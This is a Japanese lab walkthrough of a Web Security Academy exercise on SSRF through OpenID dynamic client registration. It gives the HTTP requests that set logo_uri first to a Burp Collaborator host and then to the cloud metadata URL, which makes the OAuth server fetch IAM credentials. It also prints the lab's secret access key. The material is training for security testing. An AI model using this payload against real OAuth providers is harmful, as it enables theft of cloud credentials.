Hello there, ('ω')ノ
OpenID動的クライアント登録によるSSRFを。
このラボは、クライアントアプリケーションが専用の登録エンドポイントを介して。
OAuthサービスに動的に登録できて。
一部のクライアント固有のデータは。
SSRFの潜在的なベクトルを公開するOAuthサービスによって。
安全でない方法で使用されて。
下記へアクセスして、クラウド環境のシークレットアクセスキーを盗むらしく。
http://169.254.169.254/latest/meta-data/iam/security-credentials/admin/
まずは、ログインして。
リクエストが送信される先のホストをコピーして。
下記の構成ファイルにアクセスすると。
クライアントを登録するエンドポイントが確認できて。
https://ac561fa11fdbb3e380c9060c026300ca.web-security-academy.net/.well-known/openid-configuration
適切に偽のコールバックを含むOAuthサービスに登録するリクエストをSendすると。
POST /reg HTTP/1.1
Host: ac561fa11fdbb3e380c9060c026300ca.web-security-academy.net
Content-Type: application/json
Content-Length: 60
{
"redirect_uris" : [
"https://example.com"
]
}
新しいクライアントIDが確認できて。
つまり、認証なしでオリジナルのクライアントアプリケーションが。
正常に登録されたというわけで。
また、logoへのリクエストは。
OAuthフローを監査してOpenID仕様から要求された承認ページには。
ロゴが表示されるので。
このリクエストをリピータへ送ってスタンバイしておいて。
まずは、コラボレータでペイロードをコピーして。
さきほどのリクエストに追加して、Sendすると。
POST /reg HTTP/1.1
Host: ac561fa11fdbb3e380c9060c026300ca.web-security-academy.net
Content-Type: application/json
Content-Length: 137
{
"redirect_uris" : [
"https://example.com"
],
"logo_uri" : "https://moetbyr448y8qo92wkyrbff2gtmja8.burpcollaborator.net"
}
新しく下記のIDが取得できたので。
"client_id":"29E044XL3y98E57wX7LgF"
スタンバイしていたlogoへのリクエストのクライアントIDを交換してSendすると。
コラボレータで新しいインタラクションが確認できて。
これで、logo_uriプロパティでOAuthサーバからのリクエストを。
引き出すことができることがわかったので。
コラボレータから下記のターゲットURLにlogo_uriを変更してSendすると。
http://169.254.169.254/latest/meta-data/iam/security-credentials/admin/
下記のクライアントIDが取得できて。
"client_id":"GqzNfkHQEk1DK8_p_OTF5"
さきほどのようにlogoへのリクエストのクライアントIDを交換してSendすると。
レスポンスには、OAuthプロバイダのクラウド環境のメタデータが。
その中のシークレットアクセスキーをコピーして。
下記を入力すると。
wael7cVEEdkkW6QYayHNILKRdqQOeBbVuTJYCwce
クリアできた。
Best regards, (^^ゞ